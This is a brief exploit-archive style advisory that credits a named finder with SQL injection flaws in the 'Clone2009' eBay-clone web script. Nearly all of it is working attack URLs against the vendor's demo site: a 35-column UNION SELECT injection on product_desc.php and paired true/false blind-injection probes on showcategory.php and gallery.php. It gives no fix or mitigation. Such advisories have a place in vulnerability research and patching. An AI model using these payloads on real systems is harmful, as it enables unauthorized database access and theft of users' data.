Ebay Clone 2009 suffers from multiple remote SQL injection vulnerabilities.
79d11b0e2bb6498b955af7eadc0f479b8fdf25849dd2022be874c24ca295d64a
----------------------------------------------------------------------------------------------------
Name : Clone2009 (Ebay Clone)
Site : http://clone2009.com/
Demo : http://clone2009.com/demo/
----------------------------------------------------------------------------------------------------
Found By : MizoZ [EvilWay Team]
Made in : Morocco
Contact : mizoz[at]9[dot]cn
Greetz : Moudi , Zuka , All friends
----------------------------------------------------------------------------------------------------
SQL Injection product_desc.php (GET : id) :
http://clone2009.com/demo/product_desc.php?id=null+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35--
Blind SQL Injection showcategory.php (GET : cid) :
http://clone2009.com/demo/showcategory.php?cid=514+and+1=0-- DIFFERENT OF
http://clone2009.com/demo/showcategory.php?cid=514+and+1=1--
Blind SQL Injection gallery.php (GET : cid) :
http://clone2009.com/demo/gallery.php?cid=22+and+1=1-- DIFFERENT OF
http://clone2009.com/demo/gallery.php?cid=22+and+1=0--
----------------------------------------------------------------------------------------------------